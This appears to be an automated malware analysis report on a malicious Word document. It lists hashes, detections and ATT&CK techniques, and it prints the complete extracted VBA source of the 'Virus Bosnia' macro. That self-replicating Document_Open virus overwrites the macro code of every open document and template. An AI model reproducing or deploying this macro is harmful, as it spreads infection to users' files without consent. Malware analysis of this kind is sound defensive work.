Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d836b6906900d88…

MALICIOUS

Office (OLE)

54.5 KB Created: 2000-10-10 20:48:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 92fd33a1a8f654af5c9707b8747a3d73 SHA-1: 919241abca1d47d3a9d6d4c98ecc7545ae230347 SHA-256: 1d836b6906900d88fde305381f48a395dade656572e49680dd4e86b82f51fd2b
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document (Document_Open). This macro is designed to copy itself into other open documents and templates, and it sets the description of these documents to 'Virus Bosnia by e[ax]'. This behavior indicates an attempt to spread the malicious macro to other files on the system.

Heuristics 3

  • ClamAV: Doc.Trojan.Quaint-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quaint-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1178 bytes
SHA-256: c862754fe0aa595ad290171b3f42dac6e304e61c4b95e34eec15e48b430f1d59
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): s = 1: y = y + s
Set td = ThisDocument: Set DOCS = Documents: Set temps = Templates
vhost = td.VBProject.vbcomponents(y).codemodule.lines(y, 22)
For ASD234 = y To DOCS.Count
    If DOCS(ASD234).VBProject.Description <> "Virus Bosnia by e[ax]" Then
        With DOCS(ASD234).VBProject.vbcomponents(y).codemodule
            .DELETELINES y, .COUNTOFLINES
            .addfromstring vhost
        End With
    End If
DOCS(ASD234).VBProject.Description = "Virus Bosnia by e[ax]"
Next ASD234
For ASD235 = y To temps.Count
    If temps(ASD235).VBProject.Description <> "Virus Bosnia by e[ax]" Then
        With temps(ASD235).VBProject.vbcomponents(y).codemodule
            .DELETELINES y, .COUNTOFLINES
            .addfromstring vhost
        End With
    End If
temps(ASD235).VBProject.Description = "Virus Bosnia by e[ax]"
Next ASD235
End Sub